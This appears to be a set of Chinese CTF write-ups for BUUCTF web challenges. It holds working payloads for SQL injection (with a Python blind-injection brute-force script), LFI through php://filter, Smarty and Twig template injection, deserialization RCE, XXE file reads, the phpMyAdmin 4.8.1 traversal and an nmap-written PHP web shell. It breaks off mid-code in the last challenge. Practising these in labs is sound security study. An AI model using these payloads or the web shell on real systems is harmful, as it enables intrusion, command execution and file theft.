目录
[CISCN2019 华北赛区 Day2 Web1]Hack World
[BJDCTF2020] The mystery of ip
【BJDCF2020】Cookie is so stable
[BSidesCF 2019] Futurella 解题笔记
[BJDCTF2020] EasySearch 1 解题笔记
[CISCN2019 华北赛区 Day2 Web1]Hack World
步骤1:启动靶机并测试页面功能
-
点击BUUCTF页面中的启动靶机按钮
-
复制生成的靶机地址(格式如
http://node4.buuoj.cn:28080/) -
在浏览器中访问该地址
页面功能测试
-
输入
1提交 → 返回:Hello, glzjin wants a girlfriend. -
输入
2提交 → 返回:Hello, glzjin wants a girlfriend too.
-
输入
3提交 → 返回:Error Occured When Fetch Result.
-
输入
1'提交 → 返回:bool(false)
原理说明
页面通过id参数查询数据库,不同的id值返回不同结果。输入单引号触发了SQL注入检测,说明存在SQL注入漏洞,且SQL语句使用单引号闭合。
步骤2:确认SQL注入点与注入类型
测试注入类型
这道题没有直接的数据库内容回显,只有两种有效返回结果(正常/错误),因此属于布尔盲注。布尔盲注的核心是:构造条件语句,根据页面返回结果判断条件是否成立。
步骤3:测试过滤规则并找到绕过方法
过滤测试
依次输入以下内容测试过滤规则:
-
1 and 1=1→ 返回SQL Injection Checked.(空格和and被过滤) -
1or1=1→ 返回SQL Injection Checked.(or被过滤) -
1 union select 1→ 返回SQL Injection Checked.(union和select被过滤)
-
if(1=1,1,2)→ 返回正常结果(if函数和=未被过滤)
关键绕过方法
这道题的过滤规则是过滤单独的关键字,但关键字后紧跟括号时不会被过滤。例如:
-
select会被过滤,但select(flag)不会被过滤 -
from会被过滤,但from(flag)不会被过滤
因此我们可以使用select(字段)from(表名)的格式绕过关键字过滤。
步骤4:构造布尔盲注Payload
核心Payload格式
if((select(substr(flag,{位置},1))from(flag))='{字符}',1,2)
Payload原理
-
if(条件, 真结果, 假结果):SQL中的条件函数,如果条件成立返回真结果,否则返回假结果 -
select(substr(flag,{位置},1))from(flag):从flag表的flag字段中截取第{位置}位的1个字符 -
如果截取的字符等于
{字符},则返回1,页面显示Hello, glzjin wants a girlfriend. -
如果不相等,则返回
2,页面显示Hello, glzjin wants a girlfriend too.
测试Payload有效性
输入if((select(substr(flag,1,1))from(flag))='f',1,2)提交,返回正常结果,说明Flag的第一个字符确实是f,Payload有效。

步骤5:编写Python脚本自动化爆破Flag
前置准备
安装requests库:
pip install requests
完整爆破脚本
注意:当某个字段爆破失败需要将已经得到的前n位+手动加的'-'填入脚本相应位置再进行爆破。
import requests
import time
# 只改这里的靶机地址
url = "http://6137c7e9-08b9-4f5a-9318-ff4d20ed4f57.node5.buuoj.cn:81/"
# 🔥 把你已经得到的前n位+手动加的'-'填在这里
# 例如:flag = "flag{1234567890ab-"
flag = "flag{73ac7cab-61ed-494b-be4f-"
# 🔥 把'-'移到最前面,优先测试横杠,避免卡壳
charset = "-flag{}0123456789abcdef"
print("=" * 50)
print("🚀 继续爆破,已优化横杠检测")
print(f"📝 当前已获取:{flag}")
print("=" * 50)
print()
# 从当前长度+1开始
for pos in range(len(flag) + 1, 50):
print(f"🔍 正在爆破第{pos}位...")
while True:
found = False
for char in charset:
payload = f"if((select(substr(flag,{pos},1))from(flag))='{char}',1,2)"
# 增加重试次数和间隔
for _ in range(5):
try:
r = requests.post(url, data={"id": payload}, timeout=15)
break
except:
time.sleep(2)
else:
continue
if "Hello" in r.text:
flag += char
print(f"✅ 第{pos}位:{char}")
print(f"📌 当前Flag:{flag}")
print()
found = True
break
if found:
break
else:
print(f"⚠️ 第{pos}位暂时没找到,休息5秒后重试...")
time.sleep(5)
if flag.endswith('}'):
break
# 增加每个字符后的延迟
time.sleep(1)
print("=" * 50)
print("🎉 爆破完成!")
print(f"🏆 最终Flag:{flag}")
print("=" * 50)

脚本原理
-
遍历Flag的每个字符位置(从1开始)
-
对每个位置,遍历字符集中的所有可能字符
-
构造Payload并发送请求,根据页面返回结果判断字符是否正确
-
将正确的字符拼接成完整的Flag
[BSidesCF 2020] Had a bad day
考点:PHP 文件包含漏洞、php://filter伪协议、路径插入绕过
难度:入门级(反套路,容易踩坑)
一、完整解题流程
步骤 1:启动靶机并发现漏洞
-
启动靶机,访问靶机地址,看到一个展示动物图片的页面
-
观察 URL 结构:
http://xxx/index.php?category=animals -
点击页面上的 "WOOFERS" 和 "MEOWERS" 按钮,URL 分别变为:
-
?category=woofers -
?category=meowers


-
-
确认
category参数是文件包含点,后端会自动包含{参数}.php文件
步骤 2:测试并发现真实过滤规则
-
尝试输入任意字符串:
?category=test -
页面返回提示:
Sorry, we currently only support woofers and meowers.
3.得出结论:参数必须包含
woofers、meowers或index中的一个(白名单过滤)
步骤 3:构造绕过 Payload 读取源码
利用php://filter伪协议的特性:路径中可以插入任意目录名,会被自动忽略
?category=php://filter/convert.base64-encode/index/resource=index
-
在伪协议中间插入
/index/,满足 "必须包含 index" 的过滤条件 -
成功获取
index.php的 base64 编码源码
步骤 4:读取 flag.php 获取 Flag
?category=php://filter/convert.base64-encode/index/resource=flag
-
将得到的 base64 字符串解码,即可看到完整 Flag:
flag{be6c140f-a113-4790-93e3-c6f2be02084c}

二、核心原理详解
1. 后端真实过滤代码
<?php
$file = $_GET['category'];
if(isset($file))
{
// 核心过滤:必须包含三个字符串中的一个
if( strpos( $file, "woofers" ) !== false
|| strpos( $file, "meowers" ) !== false
|| strpos( $file, "index") !== false ){
include ($file . '.php'); // 自动添加.php后缀
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
2. 绕过原理
-
php://filter伪协议的路径解析非常灵活,中间的任意目录名都会被忽略 -
php://filter/convert.base64-encode/index/resource=flag -
等价于:
php://filter/convert.base64-encode/resource=flag -
但同时满足了 "参数中包含 index" 的过滤条件
[网鼎杯 2020 朱雀组] phpweb
一、基础信息
-
页面参数:
func(函数名)、p(函数参数) -
传参方式:
$_REQUEST接收,GET/POST 都支持(直接浏览器地址栏传参即可) -
核心功能:后端调用
gettime(函数, 参数)执行用户传入的函数
二、详细解题步骤
步骤 1:读取源码
Payload
?func=file_get_contents&p=index.php

步骤 2:构造反序列化 Payload
本地生成 Test 类序列化字符串,执行命令读取 flag
<?php
class Test{
var $p;
var $func;
}
$a = new Test();
$a->func = "system";
$a->p = "cat /tmp/flagoefiu4r93";
echo serialize($a);
?>
生成结果:
O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

步骤 3:执行 Payload,获取 Flag
最终可用 Payload(直接复制到地址栏)
?func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

步骤 4:执行结果
页面直接输出 Flag:flag{eed27067-6ce4-4f00-a4a4-fba7015e6579}
[BJDCTF2020] The mystery of ip
一、题目核心分析
访问靶机页面,显示 Your IP is : 192.168.122.15,可得出两个关键结论:


-
页面显示的 IP 不是真实访问 IP,而是从请求头中读取的。
-
这类题通常通过
X-Forwarded-For请求头伪造 IP,服务器会解析该请求头的内容并输出到页面。
二、步骤 1:抓包验证 IP 可控
-
打开 Burp Suite,开启
Intercept拦截(显示 “Intercept is on”),浏览器代理指向 Burp(默认127.0.0.1:8080)。 -
浏览器访问靶机地址,请求会被 Burp 拦截。
-
在请求头中添加
X-Forwarded-For: 123,点击Forward放包,页面 IP 变为123,确认 IP 由该请求头控制。

三、步骤 2:验证 SSTI 模板注入漏洞
Smarty 模板的特点是可以解析 {表达式} 格式的语法,直接在页面执行计算 / 命令:
-
再次抓包,修改请求头为:
X-Forwarded-For: {7*7} -
放包后,页面 IP 变为
49,证明服务器解析了模板语法,存在 SSTI 注入漏洞。

四、步骤 3:构造 Payload 并执行
1. 最终 Payload
X-Forwarded-For: {system('cat /flag')}
2. 完整请求包参考
GET /flag.php HTTP/1.1
Host: node5.buuoj.cn:29560
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node5.buuoj.cn:29560/flag.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
X-Forwarded-For: {system('cat /flag')}
(这里是空行,分隔请求头和请求体,不要删除!)
五、步骤 4:放包获取 Flag
-
确认请求头修改正确后,点击 Burp 的
Forward按钮放行请求。 -
浏览器页面会显示执行结果,Flag 会出现在 IP 显示的位置;如果浏览器有缓存,可以按
Ctrl+Shift+R强制刷新,或者直接在 Burp 的Response标签页查看服务器返回的完整内容。


[BJDCTF2020] ZJCTF,不过如此
一、题目核心逻辑拆解(主页面源码)
启动靶机后,主页面的 PHP 核心代码如下:
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1><br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //关键漏洞点:文件包含
}
else{
highlight_file(__FILE__);
}
?>

三个关键规则(必须全部满足)
-
text 参数校验:
file_get_contents($text)读取的内容必须等于字符串I have a dream,否则不会进入文件包含逻辑。 -
file 参数过滤:
$file中不能包含flag字符串,否则直接退出(所以不能直接包含 flag 文件)。 -
文件包含漏洞:满足条件后,会执行
include($file),我们需要利用它包含next.php来拿到后续的漏洞点。
二、步骤 1:绕过 text 参数校验(用 data:// 伪协议)
问题:怎么让file_get_contents($text)等于I have a dream?
直接传字符串不行,因为file_get_contents默认是读文件路径,所以用 data://伪协议 ,直接在 URL 里嵌入数据,让file_get_contents读取我们传入的内容。
Payload:
?text=data://text/plain,I have a dream
-
data://text/plain,:伪协议前缀,表示后面的内容是纯文本数据 -
I have a dream:我们要传入的内容,刚好满足校验条件
效果:页面会输出<h1>I have a dream</h1>,证明 text 条件通过了。

三、步骤 2:读取 next.php 的源码(用 php://filter 伪协议)
问题:直接include(next.php)只会执行代码,看不到源码怎么办?
用 php://filter伪协议 ,把 next.php 的源码转成 base64 编码输出,解码后就能拿到完整源码。
Payload:
?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
-
php://filter/read=convert.base64-encode/resource=next.php:读取 next.php 的源码,转成 base64 输出
-
解码后得到
next.php的核心代码:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
// preg_replace的/e模式:会把替换后的内容当作PHP代码执行
return preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
}
// 关键循环:遍历所有GET参数,参数名作为正则$re,参数值作为字符串$str
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']); // 命令执行点:eval($_GET['cmd'])
}
?>

四、步骤 3:触发 preg_replace/e 模式漏洞,执行命令
漏洞原理
preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str) 中的 /e 模式,是 PHP 的危险特性:
-
$re:正则表达式(来自 GET 参数的参数名) -
$str:要匹配的字符串(来自 GET 参数的参数值) -
当
$re匹配到$str时,会用strtolower("\\1")替换匹配到的内容,而\\1会引用正则捕获的分组内容,被当作 PHP 代码执行
触发方式:用匹配任意字符的正则作为参数名
我们需要让$re能匹配到$str(也就是${getFlag()}),所以用\S*(匹配任意非空白字符)作为参数名,这样正则/\S*/ei就能匹配整个字符串,触发替换。
最终完整 Payload:
?text=data://text/plain,I have a dream&file=next.php&cmd=system('cat /flag');&\S*=${getFlag()}
每个参数的作用:
-
text=data://text/plain,I have a dream:过主页面的 text 校验 -
file=next.php:包含 next.php,执行里面的代码 -
cmd=system('cat /flag'):给eval传入要执行的命令,读取 flag 文件 -
&\S*=${getFlag()}:触发 preg_replace/e 模式
-
参数名
\S*:正则/\S*/ei,匹配任意非空白字符 -
参数值
${getFlag()}:被正则匹配后,会被strtolower("\\1")解析为 PHP 代码,调用getFlag()函数,进而执行eval($_GET['cmd'])

-
[网鼎杯 2018]Fakebook
打开靶场,看到注册登录界面

用dirsearch目录爆破,发现这个文件,尝试访问

看到这个文件,访问下载


打开文件看一下

注意到get方法里面存在curl_exec(),可能这道题为ssrf漏洞利用
也注意到isValidBlog()方法的正则匹配,判断出传入的blog参数值必须为url形式
建一个账号

进入账号,发现no参数

尝试sql注入
由于注意到bak文件中,age被强转为int,所以这边采用数字型注入方法,报错,但是显示出了view.php的路径,由此可以判断flag.php的路径为 /var/www/html/flag.php

?no=1 and 1=1回显正常,判断存在sql注入

order by判断字段数
试的5报错

试的4回显正常 所以字段数为4

union联合查询
?no=1 union select 1,2,3,database()

显示no hack_,判断存在字段过滤
select没被过滤

union也没被过滤

union和select均没有被过滤,但是两个加在一起就被过滤,由此可以判断union select被过滤,这边采用/\**/注释绕过

?no=-1 union/**/select 1,2,3,4

成功绕过,看到username回显正常,判断username为回显位置,为2
查询当前数据库
?no=-1 union/**/select 1,database(),3,4

库名为fakebook
爆库
?no=-1 union/**/select 1,group_concat(schema_name),3,4 from information_schema.schemata

fakebook就是我们要的库,爆表
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"

爆字段
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"

查数据
?no=-1 union/**/select 1,concat(no,"\n",username,"\n",passwd,"\n",data),3,4 from users

注意到data字段里面的数据为刚刚我们join的数据的序列化形式

构造payload时这边改成file:///var/www/html/flag.php要更改长度为29
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
访问变正常,查看源代码得到一个base64编码,复制

进行解码得到flag

【BUUCTF】Online Tool
一、基础信息
-
题目:Online Tool
-
核心原理:绕过滤 → 用 nmap 写木马文件 → 蚁剑连接拿 flag
-
我们用到 nmap 的一个写文件功能,直接复制 Payload 即可
二、完整操作步骤
步骤 1:启动靶机,获取网址
-
打开题目页面,点击 启动靶机
-
访问靶机地址(格式:
http://xxxx.buuoj.cn:81/)
步骤 2:写入木马文件
-
把下面的 Payload 拼接到你的靶机网址后面
-
完整访问地址(直接复制,替换成你的靶机地址):
http://你的靶机地址/?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
-
访问后,页面会显示一行文字:
you are in sandbox xxxxxxxxxxxxxxxxxxxx
-
中间这串 乱码一样的字符串 是目录名,复制保存好!

步骤 3:找到木马文件的访问地址
拼接规则:
你的靶机地址/复制的目录名/hack.php
示例:
http://xxxx.buuoj.cn:80/1a2b3c4d5e6f7g8h9i0j/hack.php
-
访问这个地址,页面空白 = 写入成功!
步骤 4:打开蚁剑,连接木马
-
打开蚁剑 → 空白处右键 → 添加数据
-
填写配置:
-
URL 地址:粘贴步骤 3 的木马地址
-
连接密码:填
hack -
其他全部默认,不用改
-
-
点击 测试连接 → 显示
连接成功→ 点添加
步骤 5:蚁剑内读取 flag
-
连接成功后,蚁剑会列出
sandbox目录下的文件,双击进入文件管理器。 -
可以直接在蚁剑的终端中执行命令:
cat /flag
-
或在文件浏览器中,找到根目录下的
flag文件,双击查看内容。


【GXYCTF2019】禁止套娃
一、题目基础信息
-
题目:
[GXYCTF2019]禁止套娃 -
考点:Git 源码泄露、无参数 RCE(PHP 无参数函数递归)、正则过滤绕过
-
核心目标:通过 Git 泄露还原源码,构造无参数 Payload 绕过过滤,读取
flag.php文件获取 flag
二、解题流程总览
-
目录扫描:使用
dirsearch发现.git目录泄露 -
源码还原:通过
GitHack工具还原网站源码,获取index.php -
源码审计:分析过滤规则,构造无参数 RCE Payload
-
执行 Payload:读取
flag.php,获取 flag
三、步骤详解(附命令与原理)
步骤 1:目录扫描,发现 Git 泄露
操作命令
python dirsearch.py -u 靶机地址 -i 200 -x 403,404 --delay=0.1
关键输出
[10:15:16] 200 - 41B - /.git/refs/heads/master
说明:.git目录可访问,存在源码泄露风险。

步骤 2:使用 GitHack 还原源码
操作命令(Windows 系统)
# 切换到D盘 D: # 进入GitHack目录 cd D:\githack\GitHack-master # 还原源码 python GitHack.py http://靶机地址/.git/
执行结果
-
生成以靶机域名命名的文件夹,包含还原的
index.php文件


-
核心源码如下:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
@eval($_GET['exp']);
} else die("还差一点哦!");
} else die("再好好想想!");
} else die("还想读flag,臭弟弟!");
}
// highlight_file(__FILE__);
?>
步骤 3:过滤规则分析
-
伪协议过滤:禁止使用
data:///filter:///php:///phar://,伪协议读文件失效 -
无参数嵌套限制:仅允许
func1(func2(func3()));形式的无参数递归函数调用 -
关键字黑名单:过滤
et|na|info|dec|bin|hex|oct|pi|log,部分函数无法直接使用
步骤 4:无参数 RCE Payload 构造与执行
最终 Payload(直接可用)
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
Payload 逐层解析
| 函数 | 作用 |
|---|---|
localeconv() | 返回本地格式化数组,第一个元素为.(当前目录) |
current() | 取出数组第一个元素(.,指向当前目录) |
scandir() | 扫描当前目录,返回文件列表(./../.git/flag.php/index.php) |
array_reverse() | 反转数组,将flag.php移至数组第二位 |
next() | 数组指针后移一位,指向flag.php |
show_source() | 读取并高亮flag.php源码,输出 flag |
执行结果
页面输出flag.php内容:

<?php
$flag = "flag{68cb25b7-6e69-4b9b-bf69-cdb46bb6dbaa}";
?>
四、关键工具与命令汇总
| 工具 | 用途 | 命令 |
|---|---|---|
| dirsearch | 目录扫描 | python3 dirsearch.py -u 靶机地址 -i 200 -x 403,404 --delay=0.1 |
| GitHack | 还原 Git 泄露源码 | python GitHack.py http://靶机地址/.git/ |
【NCTF2019】Fake XML cookbook
一、题目基础信息
-
题目名称:
[NCTF2019]Fake XML cookbook -
考点:XML 外部实体注入(XXE)、有回显 XXE 读取本地文件
-
标签:Web 安全、XXE 漏洞、文件读取
-
核心目标:利用 XML 实体注入漏洞,读取服务器上的
/flag文件获取 flag
二、漏洞原理(通俗拆解)
1. 什么是 XXE 漏洞?
-
XXE 全称
XML External Entity Injection(XML 外部实体注入),发生在程序解析 XML 输入时,没有禁止外部实体加载,导致攻击者可以构造恶意 XML,读取服务器本地文件、执行命令或发起内网请求。 -
触发条件:程序接收 XML 格式的输入,且使用的 XML 解析器(如
libxml2低版本)默认开启外部实体解析。
2. 本题利用场景:有回显 XXE
-
题目登录接口接收 XML 格式的账号密码,且会将 XML 解析结果直接回显在页面上,属于有回显 XXE,可以直接读取文件内容并看到结果。
-
关键限制:本题 PHP 环境的
libxml版本存在 XXE 漏洞,允许使用file://协议读取本地文件。
三、详细解题步骤(按顺序操作)
步骤 1:启动靶机,抓包分析请求
-
点击题目界面的「启动靶机」,获取靶机地址。
-
打开登录页面,输入任意账号密码(如
admin/123456),点击登录,用 Burp Suite 抓包。 -
抓包结果显示,请求体为 XML 格式:
<user> <username>admin</username> <password>123456</password> </user>

说明程序接收 XML 输入,存在 XXE 注入风险。
步骤 2:构造恶意 XML Payload,读取文件
核心 Payload
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///etc/passwd"> ]> <user> <username>&admin;</username> <password>123456</password> </user>

Payload 解析(关键细节)
-
<?xml version="1.0" encoding="utf-8"?>:XML 文档声明,必须放在开头,声明版本和编码。 -
<!DOCTYPE note [...]>:定义 XML 文档的 DTD(文档类型定义),用于声明实体。 -
<!ENTITY admin SYSTEM "file:///etc/passwd">:声明外部实体admin,指向本地文件/etc/passwd。 -
<username>&admin;</username>:引用外部实体admin,解析时会被替换为文件内容,实现文件读取。
步骤 3:验证漏洞,读取系统文件
-
将构造的 XML 替换抓包请求中的原 XML,发送请求。
-
响应结果中会输出
/etc/passwd的内容,说明 XXE 漏洞生效。
**步骤 4:读取目标文件/flag**
最终 Payload(读取根目录 flag)
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///flag"> ]> <user> <username>&admin;</username> <password>123456</password> </user>

-
替换 XML 并发送请求,响应中会直接输出
/flag的内容,格式为flag{xxxxxx}。 -
复制 flag,提交即可通关。

【GWCTF 2019】我有一个数据库
一、题目信息
-
题目:
[GWCTF 2019]我有一个数据库 -
考点:
phpMyAdmin 4.8.1远程文件包含漏洞 -
核心目标:利用
target参数路径穿越漏洞,读取服务器根目录的/flag文件
二、解题步骤(正确流程)
步骤 1:目录扫描,发现phpMyAdmin入口
使用dirsearch扫描靶机目录,命令:
python dirsearch.py -u 靶机地址 -i 200 -x 403,404 --delay=0.5
扫描结果中出现/phpmyadmin目录,说明存在phpMyAdmin管理工具,访问后确认版本为4.8.1。


步骤 2:漏洞原理
phpMyAdmin 4.8.0-4.8.1的/phpmyadmin/db_sql.php中,target参数存在路径穿越与白名单绕过漏洞:
-
两次 URL 解码逻辑可绕过白名单校验
-
结合路径穿越,可通过
../跳转到服务器根目录,读取任意文件
步骤 3:构造 Payload,读取文件
验证漏洞(读取/etc/passwd)
http://靶机地址/phpmyadmin/?target=db_sql.php%3f../../../../../../../../etc/passwd
页面输出系统用户列表,说明漏洞可用。

读取最终 flag(核心 Payload)
http://靶机地址/phpmyadmin/?target=db_sql.php%3f../../../../../../../../flag
页面直接输出flag{xxxxxx}格式的内容,复制提交即可通关。

三、关键说明
-
路径中必须使用
%3f(URL 编码的?),用于绕过白名单校验 -
../数量需足够(一般 8-10 个),确保能跳转到服务器根目录 -
仅
phpMyAdmin 4.8.0-4.8.1存在该漏洞,其他版本无法利用
【BJDCTF2020】Mark loves cat
一、题目信息
-
题目:
[BJDCTF2020]Mark loves cat -
考点:Git 源码泄露、PHP 变量覆盖漏洞
-
核心目标:通过 Git 泄露还原源码,利用变量覆盖漏洞触发
exit()输出flag
二、解题步骤
步骤 1:目录扫描,发现 Git 泄露
使用dirsearch扫描靶机目录:
python dirsearch.py -u 靶机地址 -i 200 -x 403,404 --delay=0.5
扫描结果中出现/.git目录,说明存在 Git 源码泄露。

步骤 2:还原源码,审计代码
使用GitHack还原源码:
python GitHack.py http://靶机地址/.git/

还原得到index.php,关键代码如下:
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $y;
}
if(isset($_GET['flag']) && $_GET['flag'] != 'flag'){
exit($handsome);
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] == 'flag' || $_GET['flag'] == 'flag'){
exit($is);
}
步骤 3:构造 Payload,利用变量覆盖获取 flag
方法 1:覆盖$handsome变量
-
原理:让
$_GET['flag']等于一个存在的变量名(如a),同时让$handsome被覆盖为flag -
Payload:
?handsome=flag&a=flag&flag=a
方法 2:覆盖$yds变量
-
原理:让
$_GET['flag']和$_POST['flag']都不存在,直接覆盖$yds为flag -
Payload:
?yds=flag
方法 3:覆盖$is变量
-
原理:让
$_GET['flag']或$_POST['flag']等于flag,同时覆盖$is为flag -
Payload:
?is=flag&flag=flag
三、关键说明
-
变量覆盖漏洞:代码中的
foreach($_GET as $x => $y){ $$x = $y; }会将 GET 参数的键值对作为变量名和值直接覆盖,例如?handsome=flag会让$handsome = 'flag' -
exit()输出:三个分支的exit()会直接输出变量内容,只要将对应的变量覆盖为flag即可触发输出 -
三种方法均有效,其中方法 2 的
?yds=flag最为简洁直接
本题最简 Payload:
?yds=flag
成功还原源码了!接下来直接用变量覆盖漏洞拿 flag 就行。
当前状态说明
已经用 GitHack 成功还原了源码,关键文件都拿到了:

-
index.php:核心代码,存在变量覆盖漏洞 -
flag.php:包含 flag 的文件,通过include引入
下一步:直接用最简 Payload 拿 flag
这道题的核心是利用foreach($_GET as $x => $y){ $$x = $y; }的变量覆盖漏洞,直接覆盖$yds变量就能触发exit()输出 flag。
最简 Payload(直接复制使用)
?yds=flag
操作步骤
-
把 Payload 拼接到你的靶机地址后面:
http://你的靶机地址/?yds=flag
-
访问后,源代码最后会直接输出
flag{xxxxxx}格式的内容,复制提交即可通关。
【WUSTCTF2020】朴实无华
一、基础信息
-
题目:
[WUSTCTF2020]朴实无华 -
考点
:
-
robots.txt 泄露
-
PHP 弱类型比较绕过
-
MD5 0e 科学计数法碰撞
-
命令执行过滤绕过(空格、关键字)
-
-
解题方式:GET 传参,三层绕过 → 执行命令读取 flag
二、完整解题流程(一步一步详细版)
步骤 1:找到真实题目页面
-
访问靶机首页,无有效信息。
-
访问
/robots.txt,发现提示:
Disallow: /fake_flagggg.php

-
访问 fake_flagggg.php,得到假 flag。
-
抓包查看响应头,发现真实题目页面:
fl4g.php
步骤 2:第一层绕过 —— intval 弱类型
代码逻辑
if (isset($_GET['num'])) {
$num = $_GET['num'];
if ($num != 2020 && intval($num + 1) > 2021) {
// 通过第一层
} else {
die("nope");
}
}
要求
-
num不能等于 2020 -
intval($num + 1)必须 > 2021
绕过原理
PHP intval() 解析 科学计数法:
-
1e4= 10000 -
1e4 +1= 10001 -
intval(10001) = 10001 > 2021 -
且
1e4 != 2020
第一层 Payload
/fl4g?num=1e4

步骤 3:第二层绕过 —— MD5 0e 碰撞
代码逻辑
if (isset($_GET['md5'])) {
if (md5($md5) == '0e291242476940776845150308577824') {
// 通过第二层
} else {
die("nope");
}
}
绕过原理
PHP 弱类型 == 比较:
-
只要 MD5 值以 0e 开头,都会被当作数字 0
-
0 == 0→ 判定为相等
可用 MD5 字符串
0e215962017
第二层 Payload
/fl4g?num=1e4&md5=0e215962017

步骤 4:第三层绕过 —— 命令执行过滤
代码逻辑
if (isset($_GET['flag'])) {
if (!strstr($get_flag, " ")) {
$get_flag = str_ireplace("cat", "", $get_flag);
system($get_flag);
} else {
die("nope");
}
}
过滤规则
-
禁止空格
-
过滤 cat(替换为空)
绕过方法
-
空格绕过:用
%09(tab 制表符) -
cat 绕过:用
tac(反向输出,效果一样) -
文件路径:
/f*通配符匹配/flag
最终命令
tac%09f*
三、最终完整 Payload
/fl4g.php?num=1e4&md5=0e215962017&get_flag=tac%09f*
直接访问即可输出 flag!

【BJDCF2020】Cookie is so stable
一、题目基础信息
-
题目:
[BJDCF2020]Cookie is so stable -
考点:Twig 模板注入(SSTI,服务器端模板注入)、Cookie 参数可控注入
-
核心目标:利用 Cookie 中
user参数的模板注入漏洞,绕过直接函数调用限制,读取服务器/flag文件
二、完整解题流程
步骤 1:查看源码提示,定位关键方向
访问靶机首页,按F12查看页面源码,发现关键注释提示:
<!-- Why not take a closer look at cookies? -->
这是题目明确的引导,说明Cookie 中存在用户可控的注入点,后续解题需要重点关注 Cookie 参数。

步骤 2:初始抓包分析,未发现异常
用 Burp Suite 抓初始页面的请求,发现只有PHPSESSID会话 Cookie,没有其他可控参数;尝试 SQL 注入、直接命令执行等常规方法,均无效果,暂时卡住。
步骤 3:登录流程,发现 Cookie 中的user参数
-
访问登录页面,输入任意 ID(如
123)提交,触发登录流程。 -
抓包发现,登录后的请求中,Cookie 新增了一个用户可控参数:
user=123。 -
登录成功后,页面显示
Hello 123,说明user参数的值被后端直接渲染到了页面中,存在模板注入风险。
步骤 4:验证 Twig 模板注入,发现直接调用被拦截
验证注入类型:
修改 Cookie 中的user值为 Twig 模板的特征表达式:
Cookie: user={{7*7}}
发送请求后,页面返回49,确认后端使用Twig 模板引擎(若为 Jinja2 模板,会返回7777777,可用于区分)。


尝试直接调用命令(踩坑):
直接使用危险函数执行命令:
Cookie: user={{system('cat /flag')}}
页面返回What do you want to do?!,说明题目对直接调用system()/exec()等危险函数做了过滤,无法直接执行命令,需要寻找绕过方法。


步骤 5:构造 Twig 回调注入 Payload
原理详解:
Twig 模板引擎提供了registerUndefinedFilterCallback函数,作用是:
-
注册一个回调函数,当调用不存在的过滤器时,自动执行该回调函数,并将 “过滤器名” 作为参数传入。
-
我们可以利用这个特性,注册
exec()为回调函数,再通过getFilter()调用不存在的 “过滤器”,间接执行系统命令。
最终 Payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
-
第一部分:
{{_self.env.registerUndefinedFilterCallback("exec")}}注册回调函数,将 PHP 原生的exec()设为 “未定义过滤器” 的回调。
-
第二部分:
{{_self.env.getFilter("cat /flag")}}尝试获取名为cat /flag的过滤器(不存在),触发之前注册的回调,将cat /flag作为参数传给exec(),实际执行命令:exec("cat /flag")
注意:两个 Twig 语句必须放在独立的
{{}}中,不能合并,否则会触发语法错误。
步骤 6:提交 Payload,获取 flag
正确提交方式(避坑关键):
不要直接在浏览器开发者工具中修改 Cookie—— 浏览器会自动对 Cookie 值进行 URL 编码,破坏 Twig 语法结构,导致注入失败。必须通过Burp Suite 抓包修改提交:
-
拦截登录后的请求,修改 Cookie 为:
Cookie: PHPSESSID=xxx; user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
-
放行请求,响应中会直接输出
/flag文件的内容,格式为flag{xxxxxx},复制提交即可通关。

【MRCTF2020】Ezpop
一、核心一句话
构造嵌套对象 → 序列化 → URL 编码 = 最终 Payload
源码:

二、最简 POP 触发链
反序列化外层Show
→ __toString
→ 访问不存在属性触发Test::__get
→ 调用Modifier对象触发__invoke
→ include读取flag.php
三、最简构造代码(复制运行,直接出 Payload)
<?php
class Modifier { protected $var = 'php://filter/convert.base64-encode/resource=flag.php'; }
class Test { public $p; }
class Show { public $source; public $str; }
// 构造嵌套对象
$outer = new Show();
$outer->source = new Show();
